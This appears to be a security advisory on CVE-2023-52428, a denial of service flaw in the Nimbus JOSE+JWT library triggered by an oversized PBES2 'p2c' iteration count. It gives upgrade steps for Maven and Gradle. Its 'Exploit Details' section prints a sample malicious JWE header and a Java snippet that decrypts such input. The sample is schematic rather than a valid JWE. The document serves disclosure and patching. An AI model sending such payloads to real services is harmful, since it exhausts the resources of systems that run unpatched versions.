CVE-2023-52428 - Connect2id Nimbus JOSE+JWT Denial of Service Vulnerability (Resource Consumption) in PasswordBasedDecrypter (PBKDF2)
A critical vulnerability has been identified in Connect2id Nimbus JSON Web Token (JOSE+JWT) library versions before 9.37.2. This vulnerability, discovered under Common Vulnerabilities and Exposures ID CVE-2023-52428, allows attackers to execute a denial of service attack, consequently consuming resources on the target system. The affected component is the PasswordBasedDecrypter (PBKDF2) of the library. Exploiting this vulnerability involves the use of a large JWE p2c header value (iteration count) which results in excessive resource consumption on the target system.
Official References
- Connect2id Nimbus JOSE+JWT Library: https://connect2id.com/products/nimbus-jose-jwt
- CVE-2023-52428: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52428
- Connect2id Nimbus JOSE+JWT Changelog: https://connect2id.com/products/nimbus-jose-jwt/versions
Exploit Details
When a JSON Web Encryption (JWE) object with a large p2c value is provided as input, the PasswordBasedDecrypter component leverages the PBKDF2 algorithm for the generation of decryption keys. The iteration count parameter of the PBKDF2 algorithm is directly derived from the 'p2c' value specified in the JWE input. By providing an arbitrarily large 'p2c' value, an attacker can trigger excessive resource consumption on the target system.
Below is an example of malicious JWE input with a large p2c value that can cause this exploit
{
"header": {
"alg": "PBES2-HS256+A256KW",
"enc": "A256CBC-HS512",
"p2s": "2WCTcJZ1YH_nsJZ3bR2e2g",
"p2c": 2147483647
},
"cipherText": "abcdef0123456789"
}
Following is a code snippet that demonstrates how this vulnerability can be exploited using the Connect2id Nimbus JOSE+JWT library:
import java.text.ParseException;
import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.PasswordBasedDecrypter;
// ...
String maliciousJWE = "<paste malicious JWE input here>";
byte[] password = "password".getBytes();
try {
JWEObject jweObject = JWEObject.parse(maliciousJWE);
jweObject.decrypt(new PasswordBasedDecrypter(password));
} catch (JOSEException | ParseException e) {
// Error handling...
}
Mitigation
Users of the Connect2id Nimbus JOSE+JWT library are advised to upgrade to version 9.37.2 or later, which contains a fix for the vulnerability. Upgrading can be done by updating the dependency in your project configuration file (e.g., Maven, Gradle).
For Maven, update the version in the dependency declaration
<dependency>
<groupId>com.nimbusds</groupId>
<artifactId>nimbus-jose-jwt</artifactId>
<version>9.37.2</version>
</dependency>
For Gradle, update the version in the dependency declaration
dependencies {
implementation 'com.nimbusds:nimbus-jose-jwt:9.37.2'
}
Conclusion
CVE-2023-52428 exposes a critical vulnerability in the Connect2id Nimbus JOSE+JWT library, allowing attackers to perform denial of service attacks (resource consumption) using large iteration counts in the PasswordBasedDecrypter component. Users of the library should immediately upgrade to the latest version to mitigate the risk associated with this vulnerability. Stay vigilant and keep your software up to date to avoid potential exploits.
Timeline
Published on: 02/11/2024 05:15:08 UTC
Last modified on: 02/11/2024 22:29:15 UTC